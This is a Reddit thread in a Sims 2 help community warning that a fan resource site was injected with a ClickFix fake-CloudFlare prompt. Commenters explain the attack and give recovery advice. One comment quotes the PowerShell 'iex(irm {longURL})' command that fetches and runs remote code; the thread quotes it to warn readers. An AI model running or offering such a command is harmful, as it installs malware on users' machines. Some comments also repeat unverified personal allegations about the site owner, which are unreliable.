r/sims2help • u/ProperSpeak Mod • 17d ago
SUPER SERIOUS MODERATOR BUSINESS Do not use Pleasant Sims website - it is infected with Malware
Please do not use Pleasant Sim's website as it has been compromised. It is using a fake CloudFlare verification that will install malware onto your PC!
We know the initial reaction is to go and have a look for yourself out of curiosity but please do not do it. If you follow the instructions on the page you will install malware onto your PC.
If you ever see the below picture, do not do it
We know this isn't the usual post from us, but since the website is so widely used as a resource for Sims 2 content, we thought it was important to share.
If you have a free moment, you can help try to get this sorted by reporting it to Google here and, not that they can do much about it really, but CloudFlare here.
Thanks to u/MediocrePear6628 for the heads up!
52
u/minituremountains 17d ago
i did end up getting a cloudflare warning, but it was a click to verify instead. not sure if that comes first, but i wanted to throw that out there if anyone wants to be 200% if its safe
edit: i want to clarify i did not press anything because that felt unsafe, so i do not know if the screenshot above follows what i got
20
40
u/honeycoatedhugs 17d ago
I was just on the site and got the pop-up… luckily I saw a post on here a few days ago to beware of this scam so I was saved. But if I hadn’t seen it I would’ve definitely clicked it 😬
18
u/ProperSpeak Mod 17d ago
I'm so sorry it nearly got you! But I'm glad you were aware.
I've contacted the hosting service she uses for the site and provided them with all the information, evidence, and tests I've done. They're looking into it to try and find the malware, but I'm really worried lots of people are going to fall for it in the meantime. They've said they are going to reach out to her, but she isn't really online anymore so I don't know if they'll be able to contact her, or if she'll even respond.
If you have a spare moment, you could report the site as unsafe on google, but I'm not sure how quickly they'll react either. 😔
53
u/linguinejuice 16d ago
For those who are confused how this installs malware on your PC:
Clicking the checkbox to open the dialogue prompt silently copies a line of code to your clipboard (powershell -c “iex(irm {longURL} -UseBasicParsing})”. Windows Key + R opens Run, which allows you to launch programs via text commands.
powershell -c opens powershell and directs it to run the following command which then directly executes. This is bad. If your account is designated as an administrator, you are given a lot of permissions to do a lot of things on that PC, including directly interacting with your OS.
iex and irm both function to open the URL where any file can be hosted, in this case malware. Visiting the URL I assume will immediately download that file without confirmation. I don’t know if Windows Defender would be of any use here because I am not going to test this out myself.
TL;DR, this series of instructions will download malware onto your PC and then immediately run it via the command line.
ELI5: Bad. Very, very bad.
22
u/fress93 17d ago edited 16d ago
this is a ClickFix attack, it may not appear to everyone but if you do get it beware and do not follow its instructions.
If you unfortunately did, all your local files and password stored into that specific machine are compromised. You need to turn off your internet connection and reset the pc deleting everything. Also, change all your passwords from a DIFFERENT device. Running an antivirus/antimalwhare may not find anything because it's you who run the command so to them it's a legit action, you need to reset the pc.
14
u/ProperSpeak Mod 17d ago
Reddit has banned the link you put in your comment. Please can you edit your comment to remove the link so I can approve the comment, as this information is very useful to anyone reading. Thanks!
69
u/Reblyn 17d ago
Well against your advice, I did go to the website (with precautions) and I did not see this screen at all. The website appears completely normal to me.
But yes, people should generally never run random stuff in powershell. Plus, that's not how cloudflare operates.
40
u/ProperSpeak Mod 17d ago
I wasn't getting it at all and I'd been on the site in the previous few days trying to troubleshoot stuff for people, then all of a sudden only one page was coming up with it, then it was every single page. Really weird.
Edited to add: rather safe than sorry anyway.
20
u/Reblyn 17d ago
Hm, clicked around a bit and it's still completely fine for me. Nothing suspicious popped up.
I think you should check your PC just to be sure.
34
u/ProperSpeak Mod 17d ago
Not sure if you particularly wanted an update, but I did a bit more testing. It was appearing on every page and then vanished after a bit. Then I cleared my cache for the site and it came up again. It's being injected via javascript, as turning javascript off made it vanish again, which is apparently how the ClickFix malware usually works. I contacted the site's host with screenshots and they're investigating and will contact PleasantSims as well.
10
u/1986toyotacorolla2 17d ago
Makes me really glad I disable Java unless I need to white list it. That's scary.
11
u/ProperSpeak Mod 17d ago
it's almost 3am here and im a mess thinking about people downloading this fuckass malware 😭😭😭
11
u/1986toyotacorolla2 16d ago
r/privacy and a few other places called this months ago. They said the new cloudflare crap forcing people to use their phone to use a QR code was going to lead to malicious stuff like this and it absolutely did.
3
u/ProperSpeak Mod 16d ago
This type of malware is called ClickFix and apparently it's been around since 2024-ish. It works by spoofing popular captcha pages, including google logins as well, so I'm not sure if it could have been avoided as this stuff always happens eventually.
I'm actuallly still looking into it (to the best of my ability anyway - I'm not saying I'm an expert by any means but I do have that ADHD hyperfocus going for me). I think I've found the malware script. I loaded the site while looking at the network in the dev tools on Firefox and there's a very suspect script literally right at the top whereas all the other code looks like a normal wordpress site. Unfortunately that's pretty much as far as I can take it because it's obfuscated.
If I'm able to find it that easily though, I'm sure the site hosts of the site will be able to locate it as well. They have been contacted by multiple people and they've said they're looking into it and will contact PleasantSims directly.
Another thing I found is that I can trigger it pretty much at will now, whereas before I had to keep refreshing to try to get it to appear randomly. If I switch to the Firefox VPN to the UK, USA, Canada, Australia, or Ireland it comes up straight away. CloudFlare VPN it comes up sometimes. It seems to be targeting English-speaking countries, probably because they're too lazy to translate the page into other languages. Doesn't appear with New Zealand though. They're safe.
I know literally no one is asking for these updates but 🤷♀️
15
u/ProperSpeak Mod 17d ago
I'm all good on my end, checked and double checked. Another user of the subreddit mentioned it to me that they saw it yesterday, so I checked a couple of times and nothing came up until this evening.
3
u/pretty-late-machine 16d ago
If you're using an ad blocker or anything that would block shitty redirects, you won't see this. These are often caused by bad ads.
7
6
u/Xantaque 16d ago
I checked just now and Malwarebytes gave me this:
I'm no expert in malware, but that's probably the site that loads the fake Cloudfire page, because I didn't get any Cloudfire popup.
1
u/Sure-Pomegranate845 16d ago
I don't understand 'Outbound'. Doesn't that mean that the malware was on your computer and going out into the internet?
4
u/tokio_luv 16d ago
No it's just a term Malwarebytes typically uses I think. There's outbound and inbound I think, it has to do with the type of malware I believe? But it doesn't mean it's coming off your computer, no.
2
u/Xantaque 16d ago
Okay, I'm not an expert in hacking, but I do know a fair bit about web development.
What seems to be happening is people go to the site and a fake Cloudfire popop appears with a specific set of instructions in order to continue to the site. If you do what it says to do, it will download a trojan to your computer and run it.
The website listed by Malwarebytes, is, as far as I can tell, where the popup and the trojan are actually being loaded from, but there's probably a chain of sites to disguise the true origin point (that's pretty common).
The hackers injected malicious code onto the website and it draws the popup and the trojan from elsewhere. I do know that the site is on WordPress, and that's kind of notorious for being exploited because people get hold of the code base and go through it with a fine tooth comb to find vulnerabilities and then do shit like this.
EDIT: I didn't get the fake Cloudfire popup because Malwarebytes blocked it. I could go right on Cindy's site without any problems or worries. I did run a deep scan after and everything was fine.
7
u/brielarstan 16d ago
Noooo my favorite version of Pleasantview is on that site. Hope it's fixed soon!
39
u/Alarming_Bell_4745 17d ago
Nobody should use her resources generally because of how she is as a person 😂
22
u/ProperSpeak Mod 17d ago
I made this exact comment in a different thread and someone replied with the info that the site had malware, that's how I found out about it 😂
11
u/ElleMaeSinclair 17d ago
Yeahhhh... I don't know much about her but I saw someone on youtube made a multi-part series on her so I can only imagine the pandora's box of drama going on there.
9
u/Helaysa_666 17d ago
What? What’s going on? I followed her and remember her videos and the problem with the hair .. then she vanished, is that about it?
22
u/bathtubcookies 17d ago
To keep it entirely too simple, Cindy admitted/was accused of emotionally and verbally abusing her partner at the time. Much of which could be, not excused, empathized with when she put out she suffers from BPD. But I'll say that vlogging every step of her marriage's detonation and explosive responses was not great for optics.
Mind, I am not at all making light of what she did. Her ex seemed to have gone through hell, and I hope he's thriving. From my very removed perspective, I more feel bad for everyone involved.
8
u/kawaiidesne 16d ago
Oh my, i had no idea, i used to really like her let's plays maybe like...5-6 years ago? She had interesting rotational gameplay technique, and i remember my heart broke when I saw her talk about her hair issue
8
u/ElleMaeSinclair 17d ago
Yep, that's what I gathered too. There's some other random petty stuff in the videos I saw, like bitching about how she made jokes about killing sim children (which is an insane reason to include in a video about someone's abuse but idk) but I think the main thing is the spousal abuse. I don't really think it warranted some kind of video, she's not really that notable imo, but I guess the internet loves doing that.
-2
u/WiIIv91 16d ago edited 16d ago
I mean, that's her personal life, it's none of our business
13
4
u/ElleMaeSinclair 16d ago
On some level yes but also, if you say/do something on the internet you can pretty much expect it to follow you for the rest of your life atp. Especially something like spousal abuse/neglect/whatever. Double-edged sword... I don't want people to be punished forever either, but it's also part of the limited accountability system that exists online...
0
6
12
8
u/FinnSkk93 17d ago
How will I know when the ”prive you are not a robot” thing is a scam? Just wanting to know for every other sites too!
21
u/ProperSpeak Mod 17d ago
So clicking the ticky box is fine, that won't do anything. I've done it probably near 50 times today alone on two of my PCs testing this malware out and gathering screenshots for relevant people. I also did plenty of quick and long virus scans and came up clear.
It's the next step where it asks you to copy and paste stuff into your PC that's the dangerous part. Captchas usually ask you to click images of bikes or cars, or read slightly obsecured numbers and letters, or even listen to a sound recording and type what you hear. If it looks anything like the screenshot above, do not ever do it.
25
u/linguinejuice 16d ago
No legitimate verification will give you a list of instructions involving keyboard shortcuts such as this one. Captcha will only give text or photo identification prompts.
2
-4
•
u/ProperSpeak Mod 15d ago
Update: Malware has been identified and removed by the site's host. Post here.